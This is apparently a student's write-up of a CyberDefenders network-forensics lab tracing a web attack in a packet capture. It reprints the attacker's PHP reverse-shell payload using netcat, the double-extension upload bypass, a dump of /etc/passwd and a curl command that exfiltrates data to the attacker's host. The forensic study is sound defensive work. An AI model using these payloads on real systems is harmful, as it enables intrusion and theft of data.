

# WebStrike

---

## WebStreek

---

**Category:** Network Forensics

**Difficulty:** Easy

**Platform:** CyberDefenders

**Date Completed:** 2025-04-24

---

### Summary

This lab simulates a web-based attack involving the upload and execution of a PHP reverse shell on a web server. The attack scenario involves exploiting a file upload functionality, triggering a malicious script, and establishing a reverse shell back to the attacker to exfiltrate sensitive information. The analyst is tasked with identifying the attacker IP, method of compromise, the reverse shell behavior, exfiltrated data, and relevant MITRE techniques.

---

### Timeline of Events

- 18:43:35 - Attacker initiates first TCP connection (SYN) to the web server on port 80
  - 18:43:46 - Attacker sends GET request to /reviews/ to explore the website
  - 18:43:55 - Attacker uploads test PHP file (image.php) via POST to /reviews/upload.php
  - 18:44:18 - Attacker uploads malicious reverse shell (image.jpg.php) via POST
  - 18:44:25 - Attacker attempts GET on /admin/uploads and receives 404
  - 18:44:43 - Attacker discovers the valid upload path /reviews/uploads/
  - 18:44:52 - Attacker triggers reverse shell with GET to /reviews/uploads/image.jpg.php
  - 18:44:52 - Victim initiates reverse TCP shell to attacker on port 8080 (SYN)
  - 18:46:39 - Attacker uses shell to POST and exfiltrate /etc/passwd
- 

### Technical Walkthrough

- **Tools Used:** Wireshark, MaxMind GeoIP, CyberDefenders platform
- **Artifacts Found:**
  - `image[.]jpg[.]php` (malicious reverse shell)
  - Reverse shell behavior via TCP stream on port 8080
  - POST request to exfiltrate /etc/passwd

- **IOCs:**

- Attacker IP: `117[.]11[.]88[.]124`
- Victim IP: `24[.]49[.]63[.]79`
- Malicious path: `/reviews/uploads/image[.]jpg[.]php`

---

## MITRE Mapping

- **Initial Access:** T1190 - Exploit Public-Facing Application (file upload)
- **Execution:** T1059.004 - Command and Scripting Interpreter: Unix Shell

---

## Lessons Learned

- What surprised me?
- What would I do differently?
- Which new tool or concept did I master?
- Can I explain this attack without looking at notes?
- Could I spot this attack again in a real log set?
- Can I teach this to a junior analyst?
- Could I defend against this in a live system?

---

## Thought process for each question

### Q1: From which city did the attack originate?

First I have to identify the attacker IP address — the "who." I can either look for the most data sent or look through the logs and see any weird stuff/anomalies. Since the level is easy, there are only two IPs:

`117.11.88.124` (attacker) and `24.49.63.79` (web server). MaxMind GeoIP shows it's from **Tianjin, China**.

No.	Time	Source	Destination	Protocol	Length	Info
1	2023-11-30 18:43:28.300405	117.11.88.124	24.49.63.79	TCP	74	43848 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=643822874 TSecr=0 WS=128
4	2023-11-30 18:43:28.300916	117.11.88.124	24.49.63.79	HTTP	403	GET / HTTP/1.1
6	2023-11-30 18:43:28.333066	117.11.88.124	24.49.63.79	HTTP	796	HTTP/1.1 200 OK (text/html)
8	2023-11-30 18:43:28.333066	117.11.88.124	24.49.63.79	HTTP	356	GET /favicon.ico HTTP/1.1
9	2023-11-30 18:43:28.333385	117.11.88.124	24.49.63.79	HTTP	557	HTTP/1.1 404 Not Found (text/html)
11	2023-11-30 18:43:32.730884	117.11.88.124	24.49.63.79	HTTP	444	GET /products/ HTTP/1.1
12	2023-11-30 18:43:32.731343	117.11.88.124	24.49.63.79	HTTP	843	HTTP/1.1 200 OK (text/html)
14	2023-11-30 18:43:32.753617	117.11.88.124	24.49.63.79	HTTP	382	GET /products/images/product1.jpg HTTP/1.1
17	2023-11-30 18:43:32.753913	117.11.88.124	24.49.63.79	HTTP	347	HTTP/1.1 200 OK
19	2023-11-30 18:43:32.754083	117.11.88.124	24.49.63.79	HTTP	382	GET /products/images/product2.jpg HTTP/1.1
21	2023-11-30 18:43:32.754334	117.11.88.124	24.49.63.79	HTTP	348	HTTP/1.1 200 OK
33	2023-11-30 18:43:41.035029	117.11.88.124	24.49.63.79	HTTP	450	GET /about/ HTTP/1.1
35	2023-11-30 18:43:41.035565	117.11.88.124	24.49.63.79	HTTP	906	HTTP/1.1 200 OK (text/html)
43	2023-11-30 18:43:46.810401	117.11.88.124	24.49.63.79	HTTP	449	GET /reviews/ HTTP/1.1
45	2023-11-30 18:43:46.811053	117.11.88.124	24.49.63.79	HTTP	770	HTTP/1.1 200 OK (text/html)
53	2023-11-30 18:43:55.210060	117.11.88.124	24.49.63.79	HTTP	1304	POST /reviews/upload.php HTTP/1.1 (application/x-php)
55	2023-11-30 18:43:55.219105	117.11.88.124	24.49.63.79	HTTP	290	HTTP/1.1 200 OK (text/html)
63	2023-11-30 18:44:18.053722	117.11.88.124	24.49.63.79	HTTP	1302	POST /reviews/upload.php HTTP/1.1 (application/x-php)
65	2023-11-30 18:44:18.054494	117.11.88.124	24.49.63.79	HTTP	296	HTTP/1.1 200 OK (text/html)
73	2023-11-30 18:44:25.833653	117.11.88.124	24.49.63.79	HTTP	416	GET /admin/uploads HTTP/1.1
75	2023-11-30 18:44:25.834062	117.11.88.124	24.49.63.79	HTTP	558	HTTP/1.1 404 Not Found (text/html)
83	2023-11-30 18:44:31.354415	117.11.88.124	24.49.63.79	HTTP	410	GET /uploads HTTP/1.1
85	2023-11-30 18:44:31.354811	117.11.88.124	24.49.63.79	HTTP	558	HTTP/1.1 404 Not Found (text/html)
93	2023-11-30 18:44:38.050820	117.11.88.124	24.49.63.79	HTTP	409	GET /admin/ HTTP/1.1
95	2023-11-30 18:44:38.051198	117.11.88.124	24.49.63.79	HTTP	558	HTTP/1.1 404 Not Found (text/html)
103	2023-11-30 18:44:43.496766	117.11.88.124	24.49.63.79	HTTP	418	GET /reviews/uploads HTTP/1.1
105	2023-11-30 18:44:43.497076	117.11.88.124	24.49.63.79	HTTP	664	HTTP/1.1 301 Moved Permanently (text/html)
107	2023-11-30 18:44:43.502589	117.11.88.124	24.49.63.79	HTTP	419	GET /reviews/uploads/ HTTP/1.1
108	2023-11-30 18:44:43.503132	117.11.88.124	24.49.63.79	HTTP	780	HTTP/1.1 200 OK (text/html)
109	2023-11-30 18:44:43.523722	117.11.88.124	24.49.63.79	HTTP	376	GET /icons/blank.gif HTTP/1.1
111	2023-11-30 18:44:43.524058	117.11.88.124	24.49.63.79	HTTP	497	HTTP/1.1 200 OK (GIF89a)
114	2023-11-30 18:44:43.524469	117.11.88.124	24.49.63.79	HTTP	375	GET /icons/back.gif HTTP/1.1
119	2023-11-30 18:44:43.524727	117.11.88.124	24.49.63.79	HTTP	566	HTTP/1.1 200 OK (GIF89a)
121	2023-11-30 18:44:43.524797	117.11.88.124	24.49.63.79	HTTP	377	GET /icons/image2.gif HTTP/1.1
123	2023-11-30 18:44:43.525007	117.11.88.124	24.49.63.79	HTTP	660	HTTP/1.1 200 OK (GIF89a)
138	2023-11-30 18:44:52.446126	117.11.88.124	24.49.63.79	HTTP	480	GET /reviews/uploads/image.jpg.php HTTP/1.1
326	2023-11-30 18:48:16.684085	117.11.88.124	24.49.63.79	HTTP	470	GET /reviews/uploads/ HTTP/1.1
328	2023-11-30 18:48:16.685501	117.11.88.124	24.49.63.79	HTTP	781	HTTP/1.1 200 OK (text/html)
330	2023-11-30 18:48:16.696148	117.11.88.124	24.49.63.79	HTTP	427	GET /icons/blank.gif HTTP/1.1
331	2023-11-30 18:48:16.696457	117.11.88.124	24.49.63.79	HTTP	497	HTTP/1.1 200 OK (GIF89a)
335	2023-11-30 18:48:16.697138	117.11.88.124	24.49.63.79	HTTP	426	GET /icons/back.gif HTTP/1.1
340	2023-11-30 18:48:16.697465	117.11.88.124	24.49.63.79	HTTP	428	GET /icons/image2.gif HTTP/1.1
342	2023-11-30 18:48:16.697675	117.11.88.124	24.49.63.79	HTTP	566	HTTP/1.1 200 OK (GIF89a)
344	2023-11-30 18:48:16.697886	117.11.88.124	24.49.63.79	HTTP	660	HTTP/1.1 200 OK (GIF89a)

Enter up to 25 IP addresses separated by spaces or commas

117.11.88.124

View results

IP Address	Location	Network	Postal Code	Approximate Latitude / Longitude* and Accuracy Radius	ISP / Organization	Domain	Connection Type
117.11.88.124	Tianjin, Tianjin, China (CN), Asia	117.11.64.0/19	-	39.1424, 117.1727 (50 km)	China Unicom	online.tj.cn	Cable

## Q2: What is the attacker's full User-Agent?

This one should be easy — just get any GET request from the attacker's IP to the web server. The headers will have the User-Agent, which shows the fingerprint of that attacker.

Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

```

Hypertext Transfer Protocol
  GET / HTTP/1.1\r\n
    [Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]
    [GET / HTTP/1.1\r\n]
    [Severity level: Chat]
    [Group: Sequence]
    Request Method: GET
    Request URI: /
    Request Version: HTTP/1.1
    Host: shoporoma.com\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Connection: keep-alive\r\n
    Upgrade-Insecure-Requests: 1\r\n
    \r\n
    [Full request URI: http://shoporoma.com/]
    [HTTP request 1/4]
    [Response in frame: 6]
    [Next request in frame: 8]

```

### Q3: What is the name of the malicious web shell that was successfully uploaded?

So for this I have two routes: either looking at HTTP objects captured or filtering:

```
(http.request.method == "POST" and ip.src == 117.11.88.124)
```

The attacker:

- At frame 53: uploaded `image.php` to `/reviews/upload.php` with `application/x-php`. However, this was likely blocked due to **server-side validation** — possibly checking for valid image file extensions.

```

POST /reviews/upload.php HTTP/1.1
Host: shoporoma.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----240702681933131672661702936221
Content-Length: 688
Origin: http://shoporoma.com
Connection: keep-alive
Referer: http://shoporoma.com/reviews/
Upgrade-Insecure-Requests: 1

-----240702681933131672661702936221
Content-Disposition: form-data; name="name"

asd
-----240702681933131672661702936221
Content-Disposition: form-data; name="email"

asd@asd.com
-----240702681933131672661702936221
Content-Disposition: form-data; name="review"

asd
-----240702681933131672661702936221
Content-Disposition: form-data; name="uploadedFile"; filename="image.php"
Content-Type: application/x-php

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>

-----240702681933131672661702936221--
HTTP/1.1 200 OK
Date: Thu, 30 Nov 2023 18:43:57 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 20
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

[Invalid file format.]

```

- At frame 63: attacker uploaded `image.jpg.php` instead. This is a classic **file upload evasion technique** — the server likely only checks if the filename contains `.jpg` and assumes it's a valid image.

```
POST /reviews/upload.php HTTP/1.1
Host: shoporoma.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----26176590812480906864292095114
Content-Length: 687
Origin: http://shoporoma.com
Connection: keep-alive
Referer: http://shoporoma.com/reviews/
Upgrade-Insecure-Requests: 1

-----26176590812480906864292095114
Content-Disposition: form-data; name="name"

asd
-----26176590812480906864292095114
Content-Disposition: form-data; name="email"

asd@asd.com
-----26176590812480906864292095114
Content-Disposition: form-data; name="review"

asd
-----26176590812480906864292095114
Content-Disposition: form-data; name="uploadedFile"; filename="image.jpg.php"
Content-Type: application/x-php

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>
-----26176590812480906864292095114--
HTTP/1.1 200 OK
Date: Thu, 30 Nov 2023 18:44:19 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 26
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

File uploaded successfully
```



55	2023-11-30	18:43:55.219105	24.49.63.79	117.11.88.124	HTTP	290	HTTP/1.1 200 OK (text/html)
63	2023-11-30	18:44:18.053722	117.11.88.124	24.49.63.79	HTTP	1302	205 /reviews/upload.php HTTP/1.1 (application/x-php)
65	2023-11-30	18:44:18.054494	24.49.63.79	117.11.88.124	HTTP	296	HTTP/1.1 200 OK (text/html)
73	2023-11-30	18:44:25.833653	117.11.88.124	24.49.63.79	HTTP	416	GET /admin/uploads HTTP/1.1
75	2023-11-30	18:44:25.834062	24.49.63.79	117.11.88.124	HTTP	558	HTTP/1.1 404 Not Found (text/html)
83	2023-11-30	18:44:31.354415	117.11.88.124	24.49.63.79	HTTP	410	GET /uploads HTTP/1.1
85	2023-11-30	18:44:31.354811	24.49.63.79	117.11.88.124	HTTP	558	HTTP/1.1 404 Not Found (text/html)
93	2023-11-30	18:44:38.050820	117.11.88.124	24.49.63.79	HTTP	409	GET /admin/ HTTP/1.1
95	2023-11-30	18:44:38.051198	24.49.63.79	117.11.88.124	HTTP	558	HTTP/1.1 404 Not Found (text/html)
103	2023-11-30	18:44:43.496766	117.11.88.124	24.49.63.79	HTTP	418	GET /reviews/uploads HTTP/1.1
105	2023-11-30	18:44:43.497076	24.49.63.79	117.11.88.124	HTTP	664	HTTP/1.1 301 Moved Permanently (text/html)
107	2023-11-30	18:44:43.502589	117.11.88.124	24.49.63.79	HTTP	419	GET /reviews/uploads/ HTTP/1.1
108	2023-11-30	18:44:43.503132	24.49.63.79	117.11.88.124	HTTP	780	HTTP/1.1 200 OK (text/html)
109	2023-11-30	18:44:43.523722	117.11.88.124	24.49.63.79	HTTP	376	GET /icons/blank.gif HTTP/1.1
111	2023-11-30	18:44:43.524058	24.49.63.79	117.11.88.124	HTTP	497	HTTP/1.1 200 OK (GIF89a)
114	2023-11-30	18:44:43.524469	117.11.88.124	24.49.63.79	HTTP	375	GET /icons/back.gif HTTP/1.1
119	2023-11-30	18:44:43.524727	24.49.63.79	117.11.88.124	HTTP	566	HTTP/1.1 200 OK (GIF89a)
121	2023-11-30	18:44:43.524797	117.11.88.124	24.49.63.79	HTTP	377	GET /icons/image2.gif HTTP/1.1
123	2023-11-30	18:44:43.525007	24.49.63.79	117.11.88.124	HTTP	660	HTTP/1.1 200 OK (GIF89a)
138	2023-11-30	18:44:52.446126	117.11.88.124	24.49.63.79	HTTP	480	GET /reviews/uploads/image.jpg.php HTTP/1.1
326	2023-11-30	18:48:16.684805	117.11.88.124	24.49.63.79	HTTP	470	GET /reviews/uploads/ HTTP/1.1
328	2023-11-30	18:48:16.685501	24.49.63.79	117.11.88.124	HTTP	781	HTTP/1.1 200 OK (text/html)
330	2023-11-30	18:48:16.696148	117.11.88.124	24.49.63.79	HTTP	427	GET /icons/blank.gif HTTP/1.1
331	2023-11-30	18:48:16.696457	24.49.63.79	117.11.88.124	HTTP	497	HTTP/1.1 200 OK (GIF89a)
335	2023-11-30	18:48:16.697138	117.11.88.124	24.49.63.79	HTTP	426	GET /icons/back.gif HTTP/1.1
340	2023-11-30	18:48:16.697465	117.11.88.124	24.49.63.79	HTTP	428	GET /icons/image2.gif HTTP/1.1
342	2023-11-30	18:48:16.697675	24.49.63.79	117.11.88.124	HTTP	566	HTTP/1.1 200 OK (GIF89a)
344	2023-11-30	18:48:16.697886	24.49.63.79	117.11.88.124	HTTP	660	HTTP/1.1 200 OK (GIF89a)

```

Request URI: /reviews/upload.php
Request Version: HTTP/1.1
Host: shoporoma.com\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: multipart/form-data; boundary=-----26176590812480906864292095114\r\n
Content-Length: 687\r\n
[Content length: 687]
Origin: http://shoporoma.com\r\n
Connection: keep-alive\r\n
Referer: http://shoporoma.com/reviews/\r\n
Upgrade-Insecure-Requests: 1\r\n
\r\n
[Full request URI: http://shoporoma.com/reviews/upload.php]
[HTTP request 1/1]
[Response in frame: 65]
File Data: 687 bytes
MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "-----26176590812480906864292095114"
[Type: multipart/form-data]
First boundary: -----26176590812480906864292095114\r\n
Encapsulated multipart part:
  Content-Disposition: form-data; name="name"\r\n\r\n
  Data (3 bytes)
  Data: 617364
  [Length: 3]
  Boundary: \r\n-----26176590812480906864292095114\r\n
Encapsulated multipart part:
  Content-Disposition: form-data; name="email"\r\n\r\n
  Data (11 bytes)
  Data: 617364406173642e636f6d
  [Length: 11]
  Boundary: \r\n-----26176590812480906864292095114\r\n
Encapsulated multipart part:
  Content-Disposition: form-data; name="review"\r\n\r\n
  Data (3 bytes)
  Data: 617364
  [Length: 3]
  Boundary: \r\n-----26176590812480906864292095114\r\n
Encapsulated multipart part: (application/x-php)
  Content-Disposition: form-data; name="uploadedFile"; filename="image.jpg.php"\r\n
  Content-Type: application/x-php\r\n\r\n
  Media Type
  Media type: application/x-php (102 bytes)
Last boundary: \r\n-----26176590812480906864292095114--\r\n

```

This tricked the upload filter, and the server accepted the file.

`image.jpg.php` is the file later used in the GET request that **triggered the reverse shell**.

## Bonus: Reverse Shell Analysis

This is the exact reverse shell payload embedded in the malicious PHP file:

```

ubuntu@ip-172-31-21-25:~/Desktop$ cat upload.php
-----26176590812480906864292095114
Content-Disposition: form-data; name="name"

asd
-----26176590812480906864292095114
Content-Disposition: form-data; name="email"

asd@asd.com
-----26176590812480906864292095114
Content-Disposition: form-data; name="review"

asd
-----26176590812480906864292095114
Content-Disposition: form-data; name="uploadedFile"; filename="image.jpg.php"
Content-Type: application/x-php
[<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>]
-----26176590812480906864292095114--
ubuntu@ip-172-31-21-25:~/Desktop$

```

```


<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
117.11.88.124 8080 >/tmp/f"); ?>

```

### How it works:

- `rm /tmp/f; mkfifo /tmp/f` — clears and creates a named pipe (`/tmp/f`)
- `cat /tmp/f | /bin/sh -i 2>&1` — reads attacker's input from the pipe and sends it into an interactive shell
- `nc 117.11.88.124 8080 > /tmp/f` — sends output to attacker via Netcat, while receiving more commands back through the pipe

This sets up a full-duplex communication channel, giving the attacker an interactive shell session (reverse shell). The connection is established **outbound** from victim → attacker, allowing it to bypass common firewall rules that block incoming shells (e.g., bind shells).

 **General TCP Stream Filter Tip:** To trace the full attack in Wireshark, especially the reverse shell, use:

```

(ip.src == 117.11.88.124 and ip.dst == 24.49.63.79 and http.request) or
(ip.src == 24.49.63.79 and ip.dst == 117.11.88.124 and http.response)

```

This lets you track the full HTTP dialogue between attacker and victim.

### Q4: Which directory is used by the website to store the uploaded files?

As we said before, `/reviews/uploads` is used:

```

138 2023-11-30 18:44:52.446126 GET /reviews/uploads/image.jpg.php

```

Then the next packet (140) confirms a reverse shell was initiated:

```

24.49.63.79 → 117.11.88.124 TCP 54448 → 8080

```

**Port 8080** — confirmed from the PHP payload and TCP session after execution.

Following the reverse shell established through `nc`, a new TCP stream started, containing the attacker's command sequence. This stream provides visibility into their post-exploitation activities, including the attempted file exfiltration.

139	2023-11-30	18:44:32.440204	49.49.63.79	117.11.88.124	TCP	00 00 -> 0000 [ACK] Seq=1 Acks=161 Wm=0/0/0 Len=0 Tsv=1303357203 TSecr=64390728
140	2023-11-30	18:44:52.449547	24.49.63.79	117.11.88.124	TCP	74 54448 -> 8080 [SYN] Seq=0 Win=62420 Len=0 MSS=1460 SACK_PERM=Tsv=1303357204 TSecr=0 WS=128
141	2023-11-30	18:44:52.449977	117.11.88.124	24.49.63.79	TCP	74 8080 -> 54448 [SYN, ACK] Seq=1 Acks=1 Win=65160 Len=0 MSS=1460 SACK_PERM=Tsv=1303357204 TSecr=1303357204 WS=128
142	2023-11-30	18:44:52.450876	24.49.63.79	117.11.88.124	TCP	66 54448 -> 8080 [ACK] Seq=1 Acks=1 Win=64256 Len=0 Tsv=1303357205 TSecr=64390728
143	2023-11-30	18:44:52.450951	24.49.63.79	117.11.88.124	TCP	121 8080 -> 8080 [PSH, ACK] Seq=1 Acks=1 Win=64256 Len=0 Tsv=1303357205 TSecr=64390728
144	2023-11-30	18:44:52.450957	117.11.88.124	24.49.63.79	TCP	66 8080 -> 54448 [ACK] Seq=1 Acks=1 Win=65152 Len=0 Tsv=1303357205 TSecr=1303357205
145	2023-11-30	18:44:52.207613	117.11.88.124	24.49.63.79	TCP	73 8080 -> 54448 [PSH, ACK] Seq=1 Acks=1 Win=65152 Len=7 Tsv=1303357205 TSecr=1303357205
146	2023-11-30	18:44:52.207741	24.49.63.79	117.11.88.124	TCP	66 54448 -> 8080 [ACK] Seq=56 Acks=8 Win=64256 Len=0 Tsv=1303357992 TSecr=643911786
147	2023-11-30	18:44:52.208471	24.49.63.79	117.11.88.124	TCP	75 54448 -> 8080 [PSH, ACK] Seq=56 Acks=8 Win=64256 Len=9 Tsv=1303357993 TSecr=643911786
148	2023-11-30	18:44:52.208533	117.11.88.124	24.49.63.79	TCP	66 8080 -> 54448 [ACK] Seq=8 Acks=65 Win=65152 Len=0 Tsv=1303357993 TSecr=1303357993
149	2023-11-30	18:44:52.208624	117.11.88.124	24.49.63.79	TCP	66 8080 -> 54448 [ACK] Seq=8 Acks=65 Win=65152 Len=0 Tsv=1303357993 TSecr=1303357993
150	2023-11-30	18:44:52.208712	117.11.88.124	24.49.63.79	TCP	66 8080 -> 54448 [ACK] Seq=8 Acks=67 Win=65152 Len=0 Tsv=1303357993 TSecr=1303357993
151	2023-11-30	18:45:02.271575	117.11.88.124	24.49.63.79	TCP	75 8080 -> 54448 [PSH, ACK] Seq=8 Acks=67 Win=65152 Len=0 Tsv=1303357993 TSecr=1303357993
152	2023-11-30	18:45:02.272357	24.49.63.79	117.11.88.124	TCP	208 54448 -> 8080 [PSH, ACK] Seq=67 Acks=17 Win=64256 Len=142 Tsv=1303358502 TSecr=643916850
153	2023-11-30	18:45:02.272433	117.11.88.124	24.49.63.79	TCP	66 8080 -> 54448 [ACK] Seq=17 Acks=209 Win=65024 Len=0 Tsv=1303358502 TSecr=1303358502
154	2023-11-30	18:45:02.272553	24.49.63.79	117.11.88.124	TCP	66 54448 -> 8080 [PSH, ACK] Seq=209 Acks=17 Win=64256 Len=7 Tsv=1303358502 TSecr=643916851
155	2023-11-30	18:45:02.272707	117.11.88.124	24.49.63.79	TCP	66 54448 -> 8080 [PSH, ACK] Seq=211 Win=65024 Len=0 Tsv=1303358502 TSecr=1303358502
156	2023-11-30	18:45:02.447506	117.11.88.124	24.49.63.79	TCP	66 [TCP Keep-Alive] 46658 -> 80 [ACK] Seq=414 Acks=1 Win=64256 Len=0 Tsv=1303357206 TSecr=1303357206
157	2023-11-30	18:45:02.447664	24.49.63.79	117.11.88.124	TCP	66 [TCP Keep-Alive] 46658 -> 80 [ACK] Seq=1 Acks=415 Win=64768 Len=0 Tsv=1303358502 TSecr=643907024

```

/bin/sh: 0: can't access tty: job control turned off
$ whoami
www-data
$ uname -a
Linux ubuntu-virtual-machine 6.2.0-37-generic #38~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov  2 18:01:13 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
$ pwd
/var/www/html/reviews/uploads
$ ls /home
ubuntu
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105:/:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111:/:/home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/:/nonexistent:/usr/sbin/nologin
tss:x:106:113:TPM software stack,,:/var/lib/tpm:/bin/false
uidd:x:107:116:/:/run/uidd:/usr/sbin/nologin
systemd-oom:x:108:117:systemd Userspace OOM Killer,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:118:/:/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124:/:/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129:/:/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131:/:/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534:/:/run/gnome-initial-setup:/bin/false
hplip:x:127:7:HPLIP system user,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
ubuntu:x:1000:1000:ubuntu,,:/home/ubuntu:/bin/bash
$ curl -X POST -d /etc/passwd http://117.11.88.124:443/
% Total    % Received % Xferd  Average Speed   Time    Time     Time    Current
           Dload  Upload    Total   Spent    Left     Speed

  0     0    0     0     0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   368 100   357 100   11  56774   17[393 bytes missing in capture file].$

```

Attacker executed:



```
cat /etc/passwd
```

And then sent it using:

```
curl -X POST -d /etc/passwd http://117.11.88.124:443/
```

So the attacker was attempting to exfiltrate: **/etc/passwd**